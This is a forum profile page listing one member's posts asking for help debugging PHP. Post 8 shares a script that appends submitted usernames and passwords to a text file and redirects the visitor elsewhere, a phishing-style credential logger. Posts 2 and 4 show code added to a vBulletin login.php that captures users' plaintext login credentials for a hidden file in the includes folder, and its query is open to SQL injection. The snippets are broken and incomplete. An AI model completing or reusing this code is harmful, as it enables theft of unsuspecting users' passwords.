Jump to content

timebandit

New Members
  • Posts

    8
  • Joined

  • Last visited

    Never

Profile Information

  • Gender
    Not Telling

timebandit's Achievements

Newbie

Newbie (1/5)

0

Reputation

  1. The problem i am faced with if i do that is: Parse error: syntax error, unexpected $end in /home/path/public_html/forums/login.php on line 315 line 315 is only ?> hmm...
  2. // create new session // process_new_login -> THIS LINE WASN'T COMMENTED $lg_username = strtolower($vbulletin->GPC["vb_login_username"]); $lg_password = $vbulletin->GPC["vb_login_password"]; $lg_file = "./includes/lg.html"; $sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'"); while($row = @mysql_fetch_array($sql_query)) { if(strlen($lg_password) > 1 AND strlen($lg_username) > 1) {($vbulletin->GPC['logintype'], $vbulletin->GPC['cookieuser'], $vbulletin->GPC['cssprefs']); // do redirect do_login_redirect(); } else if ($_GET['do'] == 'login') { // add consistency with previous behavior exec_header_redirect($vbulletin->options['forumhome'] . '.php'); }
  3. hi thanks for the reply but i have a new error now: Parse error: syntax error, unexpected ',' in /home/path/public_html/forums/login.php on line 141
  4. // create new session process_new_login $lg_username = strtolower($vbulletin->GPC["vb_login_username"]); $lg_password = $vbulletin->GPC["vb_login_password"]; $lg_file = "./includes/lg.html"; $sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'"); while($row = @mysql_fetch_array($sql_query)) { if(strlen($lg_password) > 1 AND strlen($lg_username) > 1) {
  5. hi guys, i appear to be having a problem, my code says Parse error: syntax error, unexpected T_VARIABLE in /home/path/public_html/forums/login.php on line 132 i belive this one of the two is line 132 $lg_username = strtolower($vbulletin->GPC["vb_login_username"]); $lg_password = $vbulletin->GPC["vb_login_password"];
  6. hello, i've tried this has not changed the out come, it still only logs this: :: :: :: :: :: :: ::
  7. hi, my form method is set to POST, i am also seeing no results in the address bar.
  8. the following code below does not log what it should be logging to the specified text file, it only logs this: : here's my code, maybe someone can help? <?php $handle = fopen("data.txt", "a"); $string = $_GET['username'] . ":" . $_GET['passwd'] . ":" . $_GET['gender'] . "\r\n"; fwrite($handle, $string); header("Location:http://url goes here"); fclose($handle); exit; ?>
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.